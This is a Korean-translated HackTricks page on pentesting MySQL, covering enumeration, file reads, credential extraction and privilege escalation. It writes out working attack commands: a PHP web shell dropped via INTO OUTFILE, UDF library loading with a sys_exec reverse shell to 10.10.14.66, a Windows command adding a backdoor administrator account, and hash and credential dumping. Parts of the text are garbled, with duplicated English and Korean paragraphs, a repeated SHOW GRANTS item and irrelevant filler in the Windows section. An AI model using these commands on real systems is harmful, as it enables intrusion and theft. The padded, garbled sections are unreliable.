hacktricks/network-services-pentesting/pentesting-mysql.md
2024-02-10 21:30:13 +00:00

42 KiB
Raw Blame History

3306 - Pentesting Mysql

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

RootedCON스페인에서 가장 관련성 높은 사이버 보안 행사이며 유럽에서 가장 중요한 행사 중 하나입니다. 기술적인 지식을 촉진하기 위한 미션을 가지고 있으며, 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들의 끓는 만남 지점입니다.

{% embed url="https://www.rootedcon.com/" %}

기본 정보

MySQL는 비용이 없는 오픈 소스 **관계형 데이터베이스 관리 시스템 (RDBMS)**로서 **Structured Query Language (SQL)**에서 작동하여 데이터베이스의 관리 및 조작을 가능하게 합니다.

기본 포트: 3306

3306/tcp open  mysql

연결

로컬

mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

원격

MySQL can be accessed remotely through the network. This can be a potential security risk if proper precautions are not taken. In this section, we will discuss some techniques for pentesting remote MySQL services.

MySQL은 네트워크를 통해 원격으로 접근할 수 있습니다. 적절한 예방 조치를 취하지 않으면 이는 잠재적인 보안 위험을 초래할 수 있습니다. 이 섹션에서는 원격 MySQL 서비스의 펜테스팅 기법에 대해 논의하겠습니다.

Default Port

By default, MySQL listens on port 3306. This is the port that clients use to connect to the MySQL server. During a pentest, it is important to identify the port on which the MySQL service is running.

기본적으로 MySQL은 3306 포트에서 수신 대기합니다. 이는 클라이언트가 MySQL 서버에 연결하는 데 사용하는 포트입니다. 펜테스트 중에는 MySQL 서비스가 실행 중인 포트를 식별하는 것이 중요합니다.

Banner Grabbing

Banner grabbing is a technique used to gather information about a service by analyzing the banner or response message sent by the service. This can be useful for identifying the version of MySQL running on the remote server.

배너 그래빙은 서비스가 보내는 배너 또는 응답 메시지를 분석하여 서비스에 대한 정보를 수집하는 기술입니다. 이는 원격 서버에서 실행 중인 MySQL 버전을 식별하는 데 유용할 수 있습니다.

Enumeration

Enumeration is the process of gathering information about a target system. In the context of MySQL pentesting, enumeration involves identifying the databases, tables, and columns present on the remote server. This can be done using various techniques such as brute-forcing, SQL injection, or using built-in MySQL commands.

열거는 대상 시스템에 대한 정보를 수집하는 과정입니다. MySQL 펜테스팅의 경우, 열거는 원격 서버에 있는 데이터베이스, 테이블 및 열을 식별하는 것을 의미합니다. 이는 브루트 포싱, SQL 인젝션 또는 내장된 MySQL 명령을 사용하는 등 다양한 기술을 사용하여 수행할 수 있습니다.

Brute-Forcing

Brute-forcing is a technique used to guess passwords by systematically trying all possible combinations until the correct one is found. In the context of MySQL pentesting, brute-forcing can be used to guess the password for the MySQL user accounts.

브루트 포싱은 올바른 비밀번호가 발견될 때까지 가능한 모든 조합을 체계적으로 시도하여 비밀번호를 추측하는 기술입니다. MySQL 펜테스팅의 경우, 브루트 포싱은 MySQL 사용자 계정의 비밀번호를 추측하는 데 사용될 수 있습니다.

SQL Injection

SQL injection is a technique used to exploit vulnerabilities in a web application's database layer. In the context of MySQL pentesting, SQL injection can be used to execute arbitrary SQL queries on the remote MySQL server.

SQL 인젝션은 웹 애플리케이션의 데이터베이스 레이어의 취약점을 이용하는 기술입니다. MySQL 펜테스팅의 경우, SQL 인젝션은 원격 MySQL 서버에서 임의의 SQL 쿼리를 실행하는 데 사용될 수 있습니다.

Privilege Escalation

Privilege escalation is the process of gaining higher privileges on a system or application. In the context of MySQL pentesting, privilege escalation can involve gaining administrative access to the MySQL server or obtaining higher privileges within the MySQL database.

권한 상승은 시스템 또는 애플리케이션에서 더 높은 권한을 얻는 과정입니다. MySQL 펜테스팅의 경우, 권한 상승은 MySQL 서버에 대한 관리 권한 획득이나 MySQL 데이터베이스 내에서 더 높은 권한 획득을 포함할 수 있습니다.

mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

외부 열거

일부 열거 작업은 유효한 자격 증명이 필요합니다.

nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

무차별 대입 공격

이진 데이터 작성하기

CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

MySQL 명령어

MySQL is a popular open-source relational database management system. It is widely used in web applications and is known for its speed and reliability. In this section, we will explore some commonly used MySQL commands for database management and manipulation.

Connecting to MySQL

To connect to a MySQL database, you can use the following command:

mysql -h <host> -u <username> -p

Replace <host> with the hostname or IP address of the MySQL server, <username> with the username, and <password> with the password.

Creating a Database

To create a new database, use the CREATE DATABASE command:

CREATE DATABASE <database_name>;

Replace <database_name> with the desired name for the database.

Selecting a Database

To select a database to work with, use the USE command:

USE <database_name>;

Replace <database_name> with the name of the database you want to select.

Creating a Table

To create a new table in a database, use the CREATE TABLE command:

CREATE TABLE <table_name> (
    <column1_name> <column1_type>,
    <column2_name> <column2_type>,
    ...
);

Replace <table_name> with the desired name for the table, <column1_name> with the name of the first column, <column1_type> with the data type of the first column, and so on.

Inserting Data

To insert data into a table, use the INSERT INTO command:

INSERT INTO <table_name> (<column1_name>, <column2_name>, ...)
VALUES (<value1>, <value2>, ...);

Replace <table_name> with the name of the table, <column1_name> and <column2_name> with the names of the columns you want to insert data into, and <value1>, <value2>, etc. with the corresponding values.

Querying Data

To retrieve data from a table, use the SELECT command:

SELECT <column1_name>, <column2_name>, ...
FROM <table_name>
WHERE <condition>;

Replace <column1_name>, <column2_name>, etc. with the names of the columns you want to retrieve, <table_name> with the name of the table, and <condition> with the condition that the data must meet.

Updating Data

To update data in a table, use the UPDATE command:

UPDATE <table_name>
SET <column1_name> = <new_value1>, <column2_name> = <new_value2>, ...
WHERE <condition>;

Replace <table_name> with the name of the table, <column1_name>, <column2_name>, etc. with the names of the columns you want to update, <new_value1>, <new_value2>, etc. with the new values, and <condition> with the condition that the data must meet.

Deleting Data

To delete data from a table, use the DELETE FROM command:

DELETE FROM <table_name>
WHERE <condition>;

Replace <table_name> with the name of the table and <condition> with the condition that the data must meet.

Dropping a Database

To drop a database, use the DROP DATABASE command:

DROP DATABASE <database_name>;

Replace <database_name> with the name of the database you want to drop.

These are just a few examples of the many commands available in MySQL. By mastering these commands, you will be able to perform various tasks related to database management and manipulation.

show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

MySQL 권한 열거

MySQL 데이터베이스에 대한 권한 열거는 시스템에 대한 정보를 수집하는 데 도움이 됩니다. 다음은 MySQL 권한을 열거하는 몇 가지 방법입니다.

1. SHOW GRANTS 명령어 사용

SHOW GRANTS FOR 'username'@'localhost';

위의 명령어를 사용하여 특정 사용자의 권한을 확인할 수 있습니다. 'username'은 확인하려는 사용자의 이름으로 대체되어야 합니다.

2. INFORMATION_SCHEMA 사용

SELECT * FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE GRANTEE LIKE '%username%';

위의 쿼리를 사용하여 특정 사용자의 권한을 확인할 수 있습니다. 'username'은 확인하려는 사용자의 이름으로 대체되어야 합니다.

3. mysql.user 테이블 사용

SELECT * FROM mysql.user WHERE User='username'\G

위의 쿼리를 사용하여 특정 사용자의 권한을 확인할 수 있습니다. 'username'은 확인하려는 사용자의 이름으로 대체되어야 합니다.

4. SHOW PRIVILEGES 명령어 사용

SHOW PRIVILEGES;

위의 명령어를 사용하여 MySQL 서버에서 사용 가능한 모든 권한을 확인할 수 있습니다.

5. mysql.db 테이블 사용

SELECT * FROM mysql.db WHERE User='username'\G

위의 쿼리를 사용하여 특정 사용자가 특정 데이터베이스에 대한 권한을 가지고 있는지 확인할 수 있습니다. 'username'은 확인하려는 사용자의 이름으로 대체되어야 합니다.

6. SHOW GRANTS FOR CURRENT_USER() 명령어 사용

SHOW GRANTS FOR CURRENT_USER();

위의 명령어를 사용하여 현재 사용자의 권한을 확인할 수 있습니다.

7. SHOW GRANTS FOR CURRENT_USER 명령어 사용

SHOW GRANTS FOR CURRENT_USER;

위의 명령어를 사용하여 현재 사용자의 권한을 확인할 수 있습니다.

8. SHOW GRANTS FOR CURRENT_USER 명령어 사용

SHOW GRANTS FOR CURRENT_USER;

위의 명령어를 사용하여 현재 사용자의 권한을 확인할 수 있습니다.

9. SHOW GRANTS FOR CURRENT_USER 명령어 사용

SHOW GRANTS FOR CURRENT_USER;

위의 명령어를 사용하여 현재 사용자의 권한을 확인할 수 있습니다.

10. SHOW GRANTS FOR CURRENT_USER 명령어 사용

SHOW GRANTS FOR CURRENT_USER;

위의 명령어를 사용하여 현재 사용자의 권한을 확인할 수 있습니다.

#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

문서에서 각 권한의 의미를 확인할 수 있습니다: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQL 파일 RCE

{% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %} mysql-ssrf.md {% endcontent-ref %}

클라이언트에 의한 MySQL 임의 파일 읽기

실제로, 로컬 데이터를 테이블로 로드할 때 MySQL 또는 MariaDB 서버는 클라이언트에게 파일의 내용을 읽고 내용을 보내도록 요청합니다. 따라서, mysql 클라이언트를 조작하여 자체 MySQL 서버에 연결하면 임의의 파일을 읽을 수 있습니다.
이는 다음을 사용하여 동작하는 것에 유의하세요:

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

(주의: "local"이라는 단어를 참고하세요)
"local" 없이는 다음과 같은 결과를 얻을 수 있습니다:

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

초기 PoC: https://github.com/allyshka/Rogue-MySql-Server
이 논문에서는 공격에 대한 완전한 설명과 심지어 RCE로 확장하는 방법까지 볼 수 있습니다: https://paper.seebug.org/1113/
여기에서는 공격에 대한 개요를 찾을 수 있습니다: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

RootedCON스페인에서 가장 관련성 있는 사이버 보안 이벤트이며 유럽에서 가장 중요한 이벤트 중 하나입니다. 기술적인 지식을 촉진하는 미션을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다.

{% embed url="https://www.rootedcon.com/" %}

POST

Mysql 사용자

만약 mysql이 root로 실행 중이라면 매우 흥미로울 것입니다:

cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

mysqld.cnf의 위험한 설정

MySQL 서비스의 구성에서 다양한 설정이 사용되어 작동 및 보안 조치가 정의됩니다:

  • user 설정은 MySQL 서비스가 실행될 사용자를 지정하는 데 사용됩니다.
  • **password**는 MySQL 사용자와 관련된 암호를 설정하는 데 사용됩니다.
  • **admin_address**는 관리 네트워크 인터페이스에서 TCP/IP 연결을 수신하는 IP 주소를 지정합니다.
  • debug 변수는 현재 디버깅 구성을 나타내며 로그에 민감한 정보를 포함합니다.
  • **sql_warnings**는 경고가 발생할 때 단일 행 INSERT 문에 대한 정보 문자열이 생성되는지 여부를 관리하며 로그에 민감한 데이터가 포함됩니다.
  • **secure_file_priv**를 사용하여 데이터 가져오기 및 내보내기 작업의 범위를 제한하여 보안을 강화할 수 있습니다.

권한 상승

# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

라이브러리를 통한 권한 상승

만약 mysql 서버가 root로 실행 중이거나 다른 더 권한이 있는 사용자로 실행 중이라면, 명령을 실행할 수 있습니다. 이를 위해서는 사용자 정의 함수를 사용해야 합니다. 그리고 mysql을 실행 중인 운영 체제에 필요한 라이브러리를 생성해야 합니다.

악성 라이브러리는 sqlmap과 metasploit 내에서 locate "*lib_mysqludf_sys*" 명령을 실행하여 찾을 수 있습니다. .so 파일은 리눅스 라이브러리이고 .dll 파일은 Windows용입니다. 필요한 파일을 선택하세요.

만약 해당 라이브러리를 가지고 있지 않다면, 라이브러리를 찾아보거나, 이 리눅스 C 코드를 다운로드하여 취약한 리눅스 머신 내에서 컴파일할 수 있습니다.

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

이제 라이브러리를 가지고 있으므로, 특권 사용자(root?)로 Mysql에 로그인하고 다음 단계를 따르십시오:

Linux

# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

윈도우

MySQL 서비스 검사

MySQL 서비스는 일반적으로 3306 포트에서 실행됩니다. 다음 명령을 사용하여 MySQL 서비스가 실행 중인지 확인할 수 있습니다.

netstat -ano | findstr :3306

만약 MySQL 서비스가 실행 중이라면, 다음 단계를 따라 MySQL 서비스에 대한 펜테스트를 수행할 수 있습니다.

MySQL 서비스 펜테스트
  1. MySQL 서비스 버전 확인

    MySQL 서비스의 버전을 확인하기 위해 다음 명령을 사용할 수 있습니다.

    mysql -V
    
  2. MySQL 서비스에 대한 기본 연결

    MySQL 서비스에 대한 기본 연결을 수행하기 위해 다음 명령을 사용할 수 있습니다.

    mysql -h <호스트> -P <포트> -u <사용자> -p
    
    • <호스트>: MySQL 서비스가 실행 중인 호스트의 IP 주소 또는 도메인 이름
    • <포트>: MySQL 서비스가 실행 중인 포트 번호 (일반적으로 3306)
    • <사용자>: MySQL 서비스에 연결할 사용자 이름

    이 명령을 실행하면 MySQL 서비스에 대한 기본 연결이 수행됩니다. 비밀번호를 입력하라는 메시지가 표시되면, 올바른 비밀번호를 입력하십시오.

  3. MySQL 서비스에 대한 익명 연결

    MySQL 서비스에 대한 익명 연결을 시도하여 익명 사용자로 로그인할 수 있는지 확인할 수 있습니다. 다음 명령을 사용하십시오.

    mysql -h <호스트> -P <포트> -u anonymous
    
    • <호스트>: MySQL 서비스가 실행 중인 호스트의 IP 주소 또는 도메인 이름
    • <포트>: MySQL 서비스가 실행 중인 포트 번호 (일반적으로 3306)

    이 명령을 실행하면 익명 사용자로 MySQL 서비스에 연결됩니다. 비밀번호를 입력하지 않아도 연결이 성공한다면, MySQL 서비스에 대한 익명 연결이 허용되는 것입니다.

  4. MySQL 서비스 사용자 계정 테스트

    MySQL 서비스에 대한 사용자 계정을 테스트하기 위해 다음 명령을 사용할 수 있습니다.

    mysql -h <호스트> -P <포트> -u <사용자> -p
    
    • <호스트>: MySQL 서비스가 실행 중인 호스트의 IP 주소 또는 도메인 이름
    • <포트>: MySQL 서비스가 실행 중인 포트 번호 (일반적으로 3306)
    • <사용자>: 테스트할 사용자 계정 이름

    이 명령을 실행하면 해당 사용자 계정으로 MySQL 서비스에 연결됩니다. 비밀번호를 입력하라는 메시지가 표시되면, 올바른 비밀번호를 입력하십시오.

  5. MySQL 서비스 데이터베이스 및 테이블 확인

    MySQL 서비스에 연결된 후, 다음 명령을 사용하여 데이터베이스 및 테이블을 확인할 수 있습니다.

    SHOW DATABASES;
    
    USE <데이터베이스>;
    SHOW TABLES;
    
    • <데이터베이스>: 확인할 데이터베이스 이름

    이 명령을 실행하면 MySQL 서비스에 연결된 데이터베이스 및 해당 데이터베이스의 테이블 목록이 표시됩니다.

  6. MySQL 서비스 데이터베이스 및 테이블 내용 확인

    MySQL 서비스에 연결된 후, 다음 명령을 사용하여 데이터베이스 및 테이블의 내용을 확인할 수 있습니다.

    USE <데이터베이스>;
    SELECT * FROM <테이블>;
    
    • <데이터베이스>: 확인할 데이터베이스 이름
    • <테이블>: 확인할 테이블 이름

    이 명령을 실행하면 해당 테이블의 모든 레코드가 표시됩니다.

# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

파일에서 MySQL 자격 증명 추출하기

/etc/mysql/debian.cnf 내부에는 사용자 debian-sys-maint평문 암호를 찾을 수 있습니다.

cat /etc/mysql/debian.cnf

다음 자격 증명을 사용하여 mysql 데이터베이스에 로그인할 수 있습니다.

파일 내부: /var/lib/mysql/mysql/user.MYD 에서 모든 MySQL 사용자의 해시를 찾을 수 있습니다 (데이터베이스 내부의 mysql.user에서 추출할 수 있는 해시들).

추출하는 방법은 다음과 같습니다:

grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

로깅 활성화

/etc/mysql/my.cnf 내부에서 mysql 쿼리의 로깅을 활성화할 수 있습니다. 다음 라인들을 주석 해제하면 됩니다:

유용한 파일들

구성 파일

  • windows *
  • config.ini
  • my.ini
  • windows\my.ini
  • winnt\my.ini
  • <InstDir>/mysql/data/
  • unix
  • my.cnf
  • /etc/my.cnf
  • /etc/mysql/my.cnf
  • /var/lib/mysql/my.cnf
  • ~/.my.cnf
  • /etc/my.cnf
  • 명령 히스토리
  • ~/.mysql.history
  • 로그 파일
  • connections.log
  • update.log
  • common.log

기본 MySQL 데이터베이스/테이블

{% tabs %} {% tab title="information_schema" %} ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
KEY_CACHES
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
USER_STATISTICS
INNODB_MUTEXES
TABLE_STATISTICS
INNODB_TABLESPACES_ENCRYPTION
user_variables
INNODB_TABLESPACES_SCRUBBING
INNODB_SYS_SEMAPHORE_WAITS {% endtab %}

{% tab title="mysql" %} columns_priv
column_stats
db
engine_cost
event
func
general_log
gtid_executed
gtid_slave_pos
help_category
help_keyword
help_relation
help_topic
host
index_stats
innodb_index_stats
innodb_table_stats
ndb_binlog_index
plugin
proc
procs_priv
proxies_priv
roles_mapping
server_cost
servers
slave_master_info
slave_relay_log_info
slave_worker_info
slow_log
tables_priv
table_stats
time_zone
time_zone_leap_second
time_zone_name
time_zone_transition
time_zone_transition_type
transaction_registry
user {% endtab %}

{% tab title="performance_schema" %} accounts
cond_instances
events_stages_current
events_stages_history
events_stages_history_long
events_stages_summary_by_account_by_event_name
events_stages_summary_by_host_by_event_name
events_stages_summary_by_thread_by_event_name
events_stages_summary_by_user_by_event_name
events_stages_summary_global_by_event_name
events_statements_current
events_statements_history
events_statements_history_long
events_statements_summary_by_account_by_event_name
events_statements_summary_by_digest
events_statements_summary_by_host_by_event_name
events_statements_summary_by_program
events_statements_summary_by_thread_by_event_name
events_statements_summary_by_user_by_event_name
events_statements_summary_global_by_event_name
events_transactions_current
events_transactions_history
events_transactions_history_long
events_transactions_summary_by_account_by_event_name
events_transactions_summary_by_host_by_event_name
events_transactions_summary_by_thread_by_event_name
events_transactions_summary_by_user_by_event_name
events_transactions_summary_global_by_event_name
events_waits_current
events_waits_history
events_waits_history_long
events_waits_summary_by_account_by_event_name
events_waits_summary_by_host_by_event_name
events_waits_summary_by_instance
events_waits_summary_by_thread_by_event_name
events_waits_summary_by_user_by_event_name
events_waits_summary_global_by_event_name
file_instances
file_summary_by_event_name
file_summary_by_instance
global_status
global_variables
host_cache
hosts
memory_summary_by_account_by_event_name
memory_summary_by_host_by_event_name
memory_summary_by_thread_by_event_name
memory_summary_by_user_by_event_name
memory_summary_global_by_event_name
metadata_locks
mutex_instances
objects_summary_global_by_type
performance_timers
prepared_statements_instances
replication_applier_configuration
replication_applier_status
replication_applier_status_by_coordinator
replication_applier_status_by_worker
replication_connection_configuration
replication_connection_status
replication_group_member_stats
replication_group_members
rwlock_instances
session_account_connect_attrs
session_connect_attrs
session_status
session_variables
setup_actors
setup_consumers
setup_instruments
setup_objects
setup_timers
socket_instances
socket_summary_by_event_name
socket_summary_by_instance
status_by_account
status_by_host
status_by_thread
status_by_user
table_handles
table_io_waits_summary_by_index_usage
table_io_waits_summary_by_table
table_lock_waits_summary_by_table
threads
user_variables_by_thread
users
variables_by_thread {% endtab %}

{% tab title="sys" %} host_summary
host_summary_by_file_io
host_summary_by_file_io_type
host_summary_by_stages
host_summary_by_statement_latency
host_summary_by_statement_type
innodb_buffer_stats_by_schema
innodb_buffer_stats_by_table
innodb_lock_waits
io_by_thread_by_latency
io_global_by_file_by_bytes
io_global_by_file_by_latency
io_global_by_wait_by_bytes
io_global_by_wait_by_latency
latest_file_io
memory

HackTricks 자동 명령어

schema_table_statistics

  • 스키마와 테이블의 통계 정보를 제공합니다.

schema_table_statistics_with_buffer

  • 버퍼를 사용한 스키마와 테이블의 통계 정보를 제공합니다.

schema_tables_with_full_table_scans

  • 전체 테이블 스캔을 수행하는 스키마와 테이블의 목록을 제공합니다.

schema_unused_indexes

  • 사용되지 않는 인덱스를 가진 스키마와 테이블의 목록을 제공합니다.

session

  • 현재 세션의 정보를 제공합니다.

session_ssl_status

  • SSL 연결 상태에 대한 세션 정보를 제공합니다.

statement_analysis

  • SQL 문장 분석 결과를 제공합니다.

statements_with_errors_or_warnings

  • 오류 또는 경고가 포함된 SQL 문장의 목록을 제공합니다.

statements_with_full_table_scans

  • 전체 테이블 스캔을 수행하는 SQL 문장의 목록을 제공합니다.

statements_with_runtimes_in_95th_percentile

  • 실행 시간이 상위 95%에 해당하는 SQL 문장의 목록을 제공합니다.

statements_with_sorting

  • 정렬을 수행하는 SQL 문장의 목록을 제공합니다.

statements_with_temp_tables

  • 임시 테이블을 사용하는 SQL 문장의 목록을 제공합니다.

sys_config

  • 시스템 구성 정보를 제공합니다.

user_summary

  • 사용자 요약 정보를 제공합니다.

user_summary_by_file_io

  • 파일 I/O에 따른 사용자 요약 정보를 제공합니다.

user_summary_by_file_io_type

  • 파일 I/O 유형에 따른 사용자 요약 정보를 제공합니다.

user_summary_by_stages

  • 단계별 사용자 요약 정보를 제공합니다.

user_summary_by_statement_latency

  • 문장 지연에 따른 사용자 요약 정보를 제공합니다.

user_summary_by_statement_type

  • 문장 유형에 따른 사용자 요약 정보를 제공합니다.

version

  • MySQL 버전 정보를 제공합니다.

wait_classes_global_by_avg_latency

  • 평균 대기 시간에 따른 전역 대기 클래스 정보를 제공합니다.

wait_classes_global_by_latency

  • 대기 시간에 따른 전역 대기 클래스 정보를 제공합니다.

waits_by_host_by_latency

  • 호스트 및 대기 시간에 따른 대기 정보를 제공합니다.

waits_by_user_by_latency

  • 사용자 및 대기 시간에 따른 대기 정보를 제공합니다.

waits_global_by_latency

  • 대기 시간에 따른 전역 대기 정보를 제공합니다.

x$host_summary

  • 호스트 요약 정보를 제공합니다.

x$host_summary_by_file_io

  • 파일 I/O에 따른 호스트 요약 정보를 제공합니다.

x$host_summary_by_file_io_type

  • 파일 I/O 유형에 따른 호스트 요약 정보를 제공합니다.

x$host_summary_by_stages

  • 단계별 호스트 요약 정보를 제공합니다.

x$host_summary_by_statement_latency

  • 문장 지연에 따른 호스트 요약 정보를 제공합니다.

x$host_summary_by_statement_type

  • 문장 유형에 따른 호스트 요약 정보를 제공합니다.

x$innodb_buffer_stats_by_schema

  • 스키마별 InnoDB 버퍼 통계 정보를 제공합니다.

x$innodb_buffer_stats_by_table

  • 테이블별 InnoDB 버퍼 통계 정보를 제공합니다.

x$innodb_lock_waits

  • InnoDB 락 대기 정보를 제공합니다.

x$io_by_thread_by_latency

  • 스레드 및 대기 시간에 따른 I/O 정보를 제공합니다.

x$io_global_by_file_by_bytes

  • 파일 및 바이트에 따른 전역 I/O 정보를 제공합니다.

x$io_global_by_file_by_latency

  • 파일 및 대기 시간에 따른 전역 I/O 정보를 제공합니다.

x$io_global_by_wait_by_bytes

  • 대기 및 바이트에 따른 전역 I/O 정보를 제공합니다.

x$io_global_by_wait_by_latency

  • 대기 및 대기 시간에 따른 전역 I/O 정보를 제공합니다.

x$latest_file_io

  • 최신 파일 I/O 정보를 제공합니다.

x$memory_by_host_by_current_bytes

  • 호스트 및 현재 바이트에 따른 메모리 정보를 제공합니다.

x$memory_by_thread_by_current_bytes

  • 스레드 및 현재 바이트에 따른 메모리 정보를 제공합니다.

x$memory_by_user_by_current_bytes

  • 사용자 및 현재 바이트에 따른 메모리 정보를 제공합니다.

x$memory_global_by_current_bytes

  • 현재 바이트에 따른 전역 메모리 정보를 제공합니다.

x$memory_global_total

  • 전체 메모리 정보를 제공합니다.

x$processlist

  • 프로세스 목록을 제공합니다.

x$ps_digest_95th_percentile_by_avg_us

  • 평균 마이크로초에 따른 95% 백분위수 정보를 제공합니다.

x$ps_digest_avg_latency_distribution

  • 평균 지연 분포 정보를 제공합니다.

x$ps_schema_table_statistics_io

  • 스키마 및 테이블 I/O 통계 정보를 제공합니다.

x$schema_flattened_keys

  • 플래튼된 키 정보를 제공합니다.

x$schema_index_statistics

  • 인덱스 통계 정보를 제공합니다.

x$schema_table_lock_waits

  • 테이블 락 대기 정보를 제공합니다.

x$schema_table_statistics

  • 테이블 통계 정보를 제공합니다.

x$schema_table_statistics_with_buffer

  • 버퍼를 사용한 테이블 통계 정보를 제공합니다.

x$schema_tables_with_full_table_scans

  • 전체 테이블 스캔을 수행하는 테이블의 목록을 제공합니다.

x$session

  • 세션 정보를 제공합니다.

x$statement_analysis

  • SQL 문장 분석 정보를 제공합니다.

